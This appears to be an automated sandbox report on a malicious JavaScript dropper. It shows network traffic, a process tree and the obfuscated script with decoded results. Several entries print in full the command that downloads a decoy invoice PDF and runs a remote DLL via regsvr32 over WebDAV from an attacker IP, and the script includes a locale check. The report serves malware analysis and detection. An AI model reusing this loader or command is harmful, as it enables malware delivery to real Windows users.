72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 11:07:02.820444107 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 11:07:02.820482016 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 11:07:02.820517063 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 11:07:02.820550919 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 11:07:02.820583105 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 11:07:02.820616961 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 11:07:02.820650101 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 11:07:02.820683956 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 11:07:02.820720911 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 11:07:02.825560093 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	4564	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 11:07:04.515784025 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 11:07:05.288723946 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 10:07:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	05:06:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js"
Imagebase:	0x7ff777ea0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:06:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll
Imagebase:	0x7ff6d8740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:06:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:06:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:07:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:07:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d8740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:07:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c5270000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:07:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:07:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:07:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1552,i,2276911881699743365,15291556214876506569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tnnnqo() {	tnnnqo() ➔ undefined
1	sdhufcak = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lazopqfpt = this[kfjfugu + zfoooiilf + zqoth + xsyufhko + jifunge + gpehmvvf + umjkoy + jkdds] ( this[rkuusmlbw + eogbd + iibliwwrq + zqoth + siiwbtk + kfjfugu + jkdds][ndkwjuns + zqoth + jifunge + zfoooiilf + jkdds + jifunge + mnehahabj + ewwndjvmh + ejuquuqzo + jifunge + iibliwwrq + jkdds] ( rkuusmlbw + eogbd + iibliwwrq + zqoth + siiwbtk + kfjfugu + jkdds + lmjfdh + eogbd + owaxftfj + jifunge + ichvhlkac + ichvhlkac ) [vxmldhya + jifunge + ohwibu + vxmldhya + jifunge + zfoooiilf + usvfiic] ( ncwud + lhfzoox + mhtwcnev + ockwffq + hdyvtasc + ndkwjuns + iytetudzb + vxmldhya + vxmldhya + mhtwcnev + lhvlr + alesufjv + hdyvtasc + iytetudzb + eogbd + mhtwcnev + vxmldhya + mrpcpfss + ndkwjuns + lltseinqx + umjkoy + jkdds + zqoth + lltseinqx + ichvhlkac + hlqte + urodf + zfoooiilf + umjkoy + jifunge + ichvhlkac + mrpcpfss + gpehmvvf + umjkoy + jkdds + jifunge + zqoth + umjkoy + zfoooiilf + jkdds + siiwbtk + lltseinqx + umjkoy + zfoooiilf + ichvhlkac + mrpcpfss + tueohwu + lltseinqx + iibliwwrq + zfoooiilf + ichvhlkac + jifunge ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nirefx = 0 ; nirefx < sdhufcak[ichvhlkac + jifunge + umjkoy + ohwibu + jkdds + owaxftfj] ; ++ nirefx )
4	{
5	if ( lazopqfpt == sdhufcak[nirefx] )
6	{
7	lazopqfpt = true;
8	break ;
9	}
10	}
11	if ( lazopqfpt !== true )
12	this[rkuusmlbw + eogbd + iibliwwrq + zqoth + siiwbtk + kfjfugu + jkdds][feebmouqb + spfzkvle + siiwbtk + jkdds] ( );
13	this[rkuusmlbw + eogbd + iibliwwrq + zqoth + siiwbtk + kfjfugu + jkdds][ndkwjuns + zqoth + jifunge + zfoooiilf + jkdds + jifunge + mnehahabj + ewwndjvmh + ejuquuqzo + jifunge + iibliwwrq + jkdds] ( rkuusmlbw + eogbd + iibliwwrq + zqoth + siiwbtk + kfjfugu + jkdds + lmjfdh + eogbd + owaxftfj + jifunge + ichvhlkac + ichvhlkac ) [zqoth + spfzkvle + umjkoy] ( iibliwwrq + suatn + usvfiic + hlqte + sdscfgbkr + iibliwwrq + hlqte + kfjfugu + lltseinqx + dqvtbw + jifunge + zqoth + xsyufhko + owaxftfj + jifunge + ichvhlkac + ichvhlkac + lmjfdh + jifunge + klrpopvh + jifunge + hlqte + vhvctuz + ndkwjuns + lltseinqx + suatn + suatn + zfoooiilf + umjkoy + usvfiic + hlqte + exqlumfuv + gpehmvvf + umjkoy + hcjqacbt + lltseinqx + mfysovhb + jifunge + vhvctuz + rkuusmlbw + jifunge + ewwndjvmh + vxmldhya + jifunge + qkitdt + spfzkvle + jifunge + xsyufhko + jkdds + hlqte + vhvctuz + mnehahabj + spfzkvle + jkdds + zrhfm + siiwbtk + ichvhlkac + jifunge + hlqte + bpjqhdkiv + jkdds + jifunge + suatn + kfjfugu + bpjqhdkiv + mrpcpfss + siiwbtk + umjkoy + hcjqacbt + lltseinqx + siiwbtk + iibliwwrq + jifunge + lmjfdh + kfjfugu + usvfiic + lmvgdpet + hlqte + owaxftfj + jkdds + jkdds + kfjfugu + bkkiaiqk + sdscfgbkr + sdscfgbkr + xfmzfwqtb + raclhuqzy + hditrul + lmjfdh + xfmzfwqtb + alqdvngil + hditrul + lmjfdh + xfmzfwqtb + lmjfdh + yaluw + divqxdpr + hmpcxhwi + sdscfgbkr + siiwbtk + umjkoy + hcjqacbt + lltseinqx + siiwbtk + iibliwwrq + jifunge + lmjfdh + kfjfugu + owaxftfj + kfjfugu + exqlumfuv + igrgxt + igrgxt + xsyufhko + jkdds + zfoooiilf + zqoth + jkdds + hlqte + bpjqhdkiv + jkdds + jifunge + suatn + kfjfugu + bpjqhdkiv + mrpcpfss + siiwbtk + umjkoy + hcjqacbt + lltseinqx + siiwbtk + iibliwwrq + jifunge + lmjfdh + kfjfugu + usvfiic + lmvgdpet + igrgxt + igrgxt + iibliwwrq + suatn + usvfiic + hlqte + sdscfgbkr + iibliwwrq + hlqte + umjkoy + jifunge + jkdds + hlqte + spfzkvle + xsyufhko + jifunge + hlqte + mrpcpfss + mrpcpfss + xfmzfwqtb + raclhuqzy + hditrul + lmjfdh + xfmzfwqtb + alqdvngil + hditrul + lmjfdh + xfmzfwqtb + lmjfdh + yaluw + divqxdpr + hmpcxhwi + labyrx + felarc + felarc + felarc + felarc + mrpcpfss + usvfiic + zfoooiilf + hcjqacbt + dqvtbw + dqvtbw + dqvtbw + zqoth + lltseinqx + lltseinqx + jkdds + mrpcpfss + igrgxt + igrgxt + iibliwwrq + suatn + usvfiic + hlqte + sdscfgbkr + iibliwwrq + hlqte + zqoth + jifunge + ohwibu + xsyufhko + hcjqacbt + zqoth + hditrul + yaluw + hlqte + sdscfgbkr + xsyufhko + hlqte + mrpcpfss + mrpcpfss + xfmzfwqtb + raclhuqzy + hditrul + lmjfdh + xfmzfwqtb + alqdvngil + hditrul + lmjfdh + xfmzfwqtb + lmjfdh + yaluw + divqxdpr + hmpcxhwi + labyrx + felarc + felarc + felarc + felarc + mrpcpfss + usvfiic + zfoooiilf + hcjqacbt + dqvtbw + dqvtbw + dqvtbw + zqoth + lltseinqx + lltseinqx + jkdds + mrpcpfss + yaluw + qsnvcjro + felarc + hmpcxhwi + xfmzfwqtb + tgjhs + alqdvngil + divqxdpr + divqxdpr + yaluw + felarc + alqdvngil + xfmzfwqtb + hmpcxhwi + lmjfdh + usvfiic + ichvhlkac + ichvhlkac, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll",0,false) ➔ 0
14	}
15	hdyvtasc = "V";
16	hdyvtasc = "W";
17	hdyvtasc = "c";
18	hdyvtasc = "H";
19	hdyvtasc = "W";
20	hdyvtasc = "P";
21	hdyvtasc = "h";
22	hdyvtasc = "Z";
23	hdyvtasc = "R";
24	hdyvtasc = "W";
25	hdyvtasc = "F";
26	hdyvtasc = "w";
27	hdyvtasc = "o";
28	hdyvtasc = "G";
29	hdyvtasc = "z";
30	hdyvtasc = "H";
31	hdyvtasc = "j";
32	hdyvtasc = "c";
33	hdyvtasc = "H";
34	hdyvtasc = "U";
35	hdyvtasc = "p";
36	hdyvtasc = "Q";
37	hdyvtasc = "f";
38	hdyvtasc = "A";
39	hdyvtasc = "R";
40	hdyvtasc = "_";
41	exqlumfuv = "i";
42	exqlumfuv = "l";
43	exqlumfuv = "c";
44	exqlumfuv = "Z";
45	exqlumfuv = "x";
46	exqlumfuv = "G";
47	exqlumfuv = "Y";
48	exqlumfuv = "f";
49	exqlumfuv = "B";
50	exqlumfuv = "M";
51	exqlumfuv = "R";
52	exqlumfuv = "T";
53	exqlumfuv = "f";
54	exqlumfuv = "C";
55	exqlumfuv = "T";
56	exqlumfuv = "T";
57	exqlumfuv = "u";
58	exqlumfuv = "B";
59	exqlumfuv = "z";
60	exqlumfuv = "u";
61	exqlumfuv = "C";
62	exqlumfuv = "M";
63	exqlumfuv = "D";
64	exqlumfuv = "J";
65	exqlumfuv = "r";
66	exqlumfuv = "G";
67	exqlumfuv = "S";
68	exqlumfuv = "N";
69	exqlumfuv = "A";
70	exqlumfuv = "D";
71	exqlumfuv = "D";
72	exqlumfuv = "X";
73	exqlumfuv = "N";
74	exqlumfuv = "N";
75	exqlumfuv = "S";
76	exqlumfuv = "e";
77	exqlumfuv = "O";
78	exqlumfuv = "p";
79	exqlumfuv = "\"";
80	usvfiic = "A";
81	usvfiic = "W";
82	usvfiic = "C";
83	usvfiic = "u";
84	usvfiic = "n";
85	usvfiic = "t";
86	usvfiic = "S";
87	usvfiic = "O";
88	usvfiic = "b";
89	usvfiic = "A";
90	usvfiic = "K";
91	usvfiic = "h";
92	usvfiic = "u";
93	usvfiic = "f";
94	usvfiic = "D";
95	usvfiic = "Y";
96	usvfiic = "S";
97	usvfiic = "j";
98	usvfiic = "u";
99	usvfiic = "w";
100	usvfiic = "A";
101	usvfiic = "N";
102	usvfiic = "y";
103	usvfiic = "d";
104	umjkoy = "F";
105	umjkoy = "O";
106	umjkoy = "w";
107	umjkoy = "i";
108	umjkoy = "d";
109	umjkoy = "a";
110	umjkoy = "H";
111	umjkoy = "x";
112	umjkoy = "a";
113	umjkoy = "B";
114	umjkoy = "g";
115	umjkoy = "m";
116	umjkoy = "n";
117	ejuquuqzo = "r";
118	ejuquuqzo = "x";
119	ejuquuqzo = "e";
120	ejuquuqzo = "r";
121	ejuquuqzo = "A";
122	ejuquuqzo = "V";
123	ejuquuqzo = "C";
124	ejuquuqzo = "t";
125	ejuquuqzo = "x";
126	ejuquuqzo = "p";
127	ejuquuqzo = "I";
128	ejuquuqzo = "f";
129	ejuquuqzo = "C";
130	ejuquuqzo = "c";
131	ejuquuqzo = "l";
132	ejuquuqzo = "M";
133	ejuquuqzo = "l";
134	ejuquuqzo = "i";
135	ejuquuqzo = "u";
136	ejuquuqzo = "X";
137	ejuquuqzo = "Y";
138	ejuquuqzo = "e";
139	ejuquuqzo = "j";
140	xsyufhko = "s";
141	xsyufhko = "y";
142	xsyufhko = "c";
143	xsyufhko = "s";
144	hmpcxhwi = "5";
145	feebmouqb = "J";
146	feebmouqb = "h";
147	feebmouqb = "K";
148	feebmouqb = "U";
149	feebmouqb = "E";
150	feebmouqb = "d";
151	feebmouqb = "W";
152	feebmouqb = "r";
153	feebmouqb = "E";
154	feebmouqb = "S";
155	feebmouqb = "Y";
156	feebmouqb = "Q";
157	jkdds = "o";
158	jkdds = "t";
159	jkdds = "Y";
160	jkdds = "z";
161	jkdds = "d";
162	jkdds = "X";
163	jkdds = "e";
164	jkdds = "G";
165	jkdds = "f";
166	jkdds = "r";
167	jkdds = "A";
168	jkdds = "Y";
169	jkdds = "y";
170	jkdds = "Z";
171	jkdds = "U";
172	jkdds = "D";
173	jkdds = "i";
174	jkdds = "C";
175	jkdds = "d";
176	jkdds = "W";
177	jkdds = "C";
178	jkdds = "o";
179	jkdds = "T";
180	jkdds = "m";
181	jkdds = "Y";
182	jkdds = "e";
183	jkdds = "e";
184	jkdds = "f";
185	jkdds = "r";
186	jkdds = "U";
187	jkdds = "v";
188	jkdds = "y";
189	jkdds = "B";
190	jkdds = "K";
191	jkdds = "i";
192	jkdds = "y";
193	jkdds = "I";
194	jkdds = "F";
195	jkdds = "e";
196	jkdds = "v";
197	jkdds = "t";
198	spfzkvle = "y";
199	spfzkvle = "T";
200	spfzkvle = "i";
201	spfzkvle = "t";
202	spfzkvle = "R";
203	spfzkvle = "H";
204	spfzkvle = "Z";
205	spfzkvle = "M";
206	spfzkvle = "u";
207	spfzkvle = "s";
208	spfzkvle = "f";
209	spfzkvle = "u";
210	tgjhs = "F";
211	tgjhs = "C";
212	tgjhs = "K";
213	tgjhs = "C";
214	tgjhs = "g";
215	tgjhs = "j";
216	tgjhs = "R";
217	tgjhs = "I";
218	tgjhs = "f";
219	tgjhs = "h";
220	tgjhs = "A";
221	tgjhs = "c";
222	tgjhs = "j";
223	tgjhs = "M";
224	tgjhs = "H";
225	tgjhs = "q";
226	tgjhs = "Z";
227	tgjhs = "P";
228	tgjhs = "W";
229	tgjhs = "c";
230	tgjhs = "x";
231	tgjhs = "n";
232	tgjhs = "q";
233	tgjhs = "x";
234	tgjhs = "z";
235	tgjhs = "h";
236	tgjhs = "L";
237	tgjhs = "A";
238	tgjhs = "M";
239	tgjhs = "p";
240	tgjhs = "O";
241	tgjhs = "L";
242	tgjhs = "O";
243	tgjhs = "a";
244	tgjhs = "7";
245	mhtwcnev = "i";
246	mhtwcnev = "p";
247	mhtwcnev = "N";
248	mhtwcnev = "H";
249	mhtwcnev = "E";
250	mhtwcnev = "a";
251	mhtwcnev = "N";
252	mhtwcnev = "S";
253	mhtwcnev = "s";
254	mhtwcnev = "a";
255	mhtwcnev = "v";
256	mhtwcnev = "q";
257	mhtwcnev = "M";
258	mhtwcnev = "L";
259	mhtwcnev = "y";
260	mhtwcnev = "k";
261	mhtwcnev = "v";
262	mhtwcnev = "N";
263	mhtwcnev = "h";
264	mhtwcnev = "G";
265	mhtwcnev = "p";
266	mhtwcnev = "U";
267	mhtwcnev = "A";
268	mhtwcnev = "j";
269	mhtwcnev = "v";
270	mhtwcnev = "s";
271	mhtwcnev = "s";
272	mhtwcnev = "O";
273	mhtwcnev = "M";
274	mhtwcnev = "u";
275	mhtwcnev = "O";
276	mhtwcnev = "K";
277	mhtwcnev = "k";
278	mhtwcnev = "E";
279	mrpcpfss = "Y";
280	mrpcpfss = "s";
281	mrpcpfss = "q";
282	mrpcpfss = "h";
283	mrpcpfss = "J";
284	mrpcpfss = "I";
285	mrpcpfss = "J";
286	mrpcpfss = "L";
287	mrpcpfss = "M";
288	mrpcpfss = "c";
289	mrpcpfss = "J";
290	mrpcpfss = "o";
291	mrpcpfss = "N";
292	mrpcpfss = "u";
293	mrpcpfss = "N";
294	mrpcpfss = "y";
295	mrpcpfss = "c";
296	mrpcpfss = "O";
297	mrpcpfss = "T";
298	mrpcpfss = "I";
299	mrpcpfss = "E";
300	mrpcpfss = "c";
301	mrpcpfss = "K";
302	mrpcpfss = "n";
303	mrpcpfss = "H";
304	mrpcpfss = "Q";
305	mrpcpfss = "Y";
306	mrpcpfss = "s";
307	mrpcpfss = "p";
308	mrpcpfss = "P";
309	mrpcpfss = "e";
310	mrpcpfss = "\\";
311	hcjqacbt = "Q";
312	hcjqacbt = "c";
313	hcjqacbt = "s";
314	hcjqacbt = "E";
315	hcjqacbt = "v";
316	ewwndjvmh = "Y";
317	ewwndjvmh = "U";
318	ewwndjvmh = "C";
319	ewwndjvmh = "Q";
320	ewwndjvmh = "P";
321	ewwndjvmh = "U";
322	ewwndjvmh = "q";
323	ewwndjvmh = "O";
324	ewwndjvmh = "b";
325	bkkiaiqk = "i";
326	bkkiaiqk = "s";
327	bkkiaiqk = "z";
328	bkkiaiqk = "E";
329	bkkiaiqk = "o";
330	bkkiaiqk = "c";
331	bkkiaiqk = "F";
332	bkkiaiqk = "Z";
333	bkkiaiqk = ":";
334	kfjfugu = "s";
335	kfjfugu = "r";
336	kfjfugu = "o";
337	kfjfugu = "z";
338	kfjfugu = "M";
339	kfjfugu = "A";
340	kfjfugu = "P";
341	kfjfugu = "q";
342	kfjfugu = "W";
343	kfjfugu = "B";
344	kfjfugu = "F";
345	kfjfugu = "M";
346	kfjfugu = "i";
347	kfjfugu = "p";
348	qkitdt = "x";
349	qkitdt = "g";
350	qkitdt = "d";
351	qkitdt = "d";
